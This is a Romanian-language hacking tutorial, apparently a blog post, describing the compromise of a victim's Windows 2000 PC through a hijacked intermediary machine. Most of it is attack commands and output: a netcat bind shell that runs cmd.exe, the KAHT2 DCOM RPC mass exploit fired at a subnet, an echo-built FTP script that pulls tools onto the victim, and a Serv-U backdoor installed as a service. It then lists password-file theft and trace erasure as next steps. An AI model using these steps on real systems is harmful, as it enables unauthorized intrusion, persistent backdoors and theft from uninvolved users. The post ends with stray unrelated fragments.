Avem destule alternative, dar noi va trebui san e hotaram asupra uneia care ne ofera mai multa siguranta, o conexiune stabile, si bineinteles, un control deplin.
Putem face acest lucru folosind calculatorul personal, dar, daca ceva va merge prost, exista posibilitatea ca IP-ul nostru sa ramana in logurile masinii victima, ceea ce ne-ar produce destule neplaceri, nu? Nimanui nu-i place sa devina din vanator – vanat!
In concluzie vom avea nevoie de o a doua masina, care sa foloseasca drept punte intre pc-ul nostru si cel al victimei. Din ceea ce presupunem ca stim pana acum, nu va fi greu sa gasim o alta masina vulnerabila, mai ales ca nu ne intereseaza o retea si pur si simplu un pc al unuia care nu are habar de ceea ce inseamna securitatea unei retele sau a unui calculator. Punem nmap-ul la treaba, apoi Nessus si e imposibil sa nu gasim cel putin un pc neprotejat, pe care il vom folosi ca intermediar.
Sa trecem la treaba :
Avem 3 masini, fiecare cu IP-ul ei : A= IP xxx.xxx.xxx.xxx – atacatorul , B=IP yyy.yyy.yyy.yyy – puntea, C=IP zzz.zzz.zzz.zzz – victima “cash”.
De la A se va realiza o conexiune cu ajutorul Netcat catre B, dupa ce in prealabil lasat o portita, si anume un port pus sub supraveghere, care va fi utilizat ca remote. Comanda pentru netcat este :
“nc –d –L –p 3004 –e cmd.exe”
Parametrul -d permite executarea in background al consolei cmd, -L lasa in “ascultare un port determinat, -p este portul in sine, -e permite executarea unui program despre care vom vorbi putin mai tarziu, iar cmd.exe stiti si voi ce este.
Pana in acest moment avem un remote connection catre masina B, unde vom crea un director ascuns in C, pe care-l numim acum – Tools. Acesta va contine toate uneltele necesare pentru a ataca masina C. Comenzile sunt :
C: \ tools >nc –v yyy.yyy.yyy.yyy 6000
Sfera [yyy.yyy.yyy.yyy] 6000 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
………………………………………………….
…………………………………………………….
C: \>attrib –h tools
Attrib –h tools
C: \>cd tools
……………………………………………………………
C: \tools > dir
In Tools avem urmatoarele programe incarcate anterior :
Fport.exe, grep.exe, kaHt2.exe, nc.exe, pskill.exe, pslist.exe, psshutdown.exe, services.exe, servudaemon.exe, servudaemon.ini, ServUStartUpLog.txt.
Ce sunt programele acestea, cred ca marea majoritate dintre voi stiti, iar cei care nu stiu, au Google la dispozitie.. Precizam doar ca avem un server FTP, un exploit, si diferite programele care ne vor ajuta la “sondare” victimei.
Sa mergem mai departe :
Vom da drumul “catelului “ din lant, bineinteles, nu inainte de a ne documenta despre cum functioneaza si mai ales care sunt comenzile care il vor face sa muste :
C: \tools>kaht2 zzz.zzz.zzz.2 zzz.zzz.zzz.255
Kaht2 zzz.zzz.zzz.2 zzz.zzz.zzz.255
……………………………………………….
KAHT2 – MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by ……………
- Targets : zzz.zzz.zzz.2 zzz.zzz.zzz.255 with 50 Threads
- Attacking Port : 135. Remote Shell at port : 42662
- Scan in Progress
- Connecting to zzz.zzz.zzz.3
Sending Exploit to a [Win2K] Server
- Connected with Shell RemMicrosoft Windows 2000 [ version……]
Bingo !!!!!!! Avem conexiunea realizata !
Mai departe :
C : \WINNT\system32>cd..
cd..
C: \>mkdir tools
Mkdir tools
C: \>cd tools
Cd tools
C: \tools>echo open yyy.yyy.yyy.yyy 3180>download.txt
Echo open yyy.yyy.yyy.yyy 3180>download.txt
C: \tools>echo admin >>download.txt
Echo admin>>download.txt
C: \tools>echo leet>>download.txt
……..
C: \tools>echo type binary>>download.txt
………
C: \tools>echo get nc.exe>>download.txt
C: \tools>echo get servudaemon.exe>>download.txt
C: \tools>echo get servudaemon.ini>>download.txt
………..
Asa vom proceda cu toate fisierele pe care le avem in directorul tools. La final avem urmatoarele comenzi :
C: \tools>echo bye>>download.txt
C: \tools>ftp –s:download.txt
ftp –s:download.txt
User (yyy.yyy.yyy.yyy:(none)) : open yyy.yyy.yyy.yyy 3180
Type binary
Get nc.exe
Get servudaemon.exe
Get servudaemon.ini
…..
…..
…..
…..
Get grep.exe
Bye
Dupa cum ati vazut, comenzile pentru a urca toate uneltele necesare catre masina –victima nu sunt complicate.
Ideea este de a opera extreme de rapid, pentru ca se poate pierde conexiunea in orice moment. Explicand ceea ce am facut pana acum, treburi stau cam asa – Avand o conexiune transparenta cu masina punte, am dat comanda de ftp pentru a urca toate programele necesare catre victima. Toate au fost facute prin intermediul comenzii “echo” – pentru a genera un fisier download.txt care sa contina toate comenzile pentru ftp. Dupa cum cred ca s-a observat, consola deschisa in masina victima prin intermediul exploit-ului a fost destul de stabile pentru a putea crea un director “tools” si a face upoload la tot ce ne interesa.
Din motive de spatiu si timp nu am trecut aici toate raspunsurile primite prin intermediul comenzii echo, dar ele pot fi deduse extreme de simplu.
Sa explicam putin si fisierul – download.txt - .Mai ales ce linii va contine el, dupa comenzile data.
Prima linie va fi cea care permite conectarea cu serverul ftp al masinii punte, pe portul 3180, bineinteles, configurand in prealabil fisierul servudaemon.ini. Cei care a-ti mai lucrat cu servudaemon, stiti despre ce vorbesc. Ceilalti ——GOOOOGLE—– si nu
numai.
Cea de-a doua linie va contine, bineinteles si un user si o parola, necesara la conectarea cu orice ftp. Atentie la configurarea servudaemon.ini .
Urmatoare linie pregateste, tot cu ajutorul comenzii - echo- modul de transfer binary a fisierelor care se descarca. Nu uitati – type binary –
Restul liniilor sunt comenzi ftp care vor descarca uneltele corespondente aflate deja in serverul ftp al masinii punte.
Cum dispunem deja de o consola de comanda, se executa - ftp –s: download.txt
In final, avand deja netcat pe masina victima - nu uitati de fisierul nc.exe – lasam in “ascultare” un port ales de noi, de exemplu 7808.
Acum putem intrerupe conexiunea cu masina victima.
Intrebarea este : ce facem mai departe?
Avem o conexiune pe care o putem deschide oricand, avem toate uneltele necesare, etc.
Acum, ne raman doua puncte la care trebuie sa meditam :
1. Nu trebuie sa subestimam niciodata persoana care se ocupa de intretinerea masinii victima, si intotdeauna conexiunile sa se fac cu ajutorul masinii punte :
Nc –v yyy.yyy.yyy.yyy 6000
Dupa ce avem consola in masina B :
Nc –v zzz.zzz.zzz.zzz 7808
Conexiunea catre masina C
Odata conectati, ca intrusi, trebuie sa realizam numeroase operatii :
-scunderea directorului tools
-obinerea informatiilor de spre masina
-cautarea bazelor de date
-stergerea urmelor
-obtinerea fisierelor cu parole
Etc.
Si …..nu uita…… de stergerea faimosului fisier –download.txt – lasandu-l in masina victima ar fi una dintre cele mai mari greseli pe care le putem face.
Intrusul trebuie sa stie ca, odata conectati trebuie sa intelegem bine cum functioneaza serverul ftp, pentru simplul motiv ca el trebuie sa funtioneze tot timpul, sis a stea in asteptare:
-se stabileste conexiunea cu masina victima
-se intra in directorul care contine serverul ftp si fisierul servudaemon.ini
-se instaleaza serviciul, in cazul nostrum folosindu-se comanda servudaemon –i
-se initializeaza serviciul cu ajutorul comenzii net start “numele serviciului”
Si, daca tot avem si o masina intermediara, putem sa o folosim linistiti si in viitoare atacuri catre alte masini-victima.
N-am explicat nimic despre ce se face si mai ales cum se face odata intrati in masina victima pentru simplul motiv ca acest lucru va ramen intotdeauna la latitudinea atacatorului, scopul meunefiind acela de a invata pe cineva cum se fura informatii sau cum se distruge o masina.
De asemenea, nici nu am vrut sa ofer toate informatiile pe tava, pentru ca acest articol nu se adreseaza teribilistilor ci pur si simplu celor care vor sa invete cate ceva despre vulnerabilitatile unui system de operare, si mai ales cum sa le corecteze.
Deocamdata atat. Data viitoare ne vom ocupa de Injectiile de cod din SQL, mai ales din bazele de date lasate cu configuratiile default asa cum se intampla de obicei cu cei care au o baza de date si nu stiu exact cum functioneaza.
In concluzie, nu uitati – cititi toate tutorialele posibile, manualele de utilizare, forumurile de specialitate, si, mai ales, PRACTICATI – e singurul mod cu adevarat viabil de a invata.
Daca iti place un vin bun si compania unei femei frumoase…
a playerului audio din WP, sunt nevoit sa gazduiesc piesa in alta parte… “
-
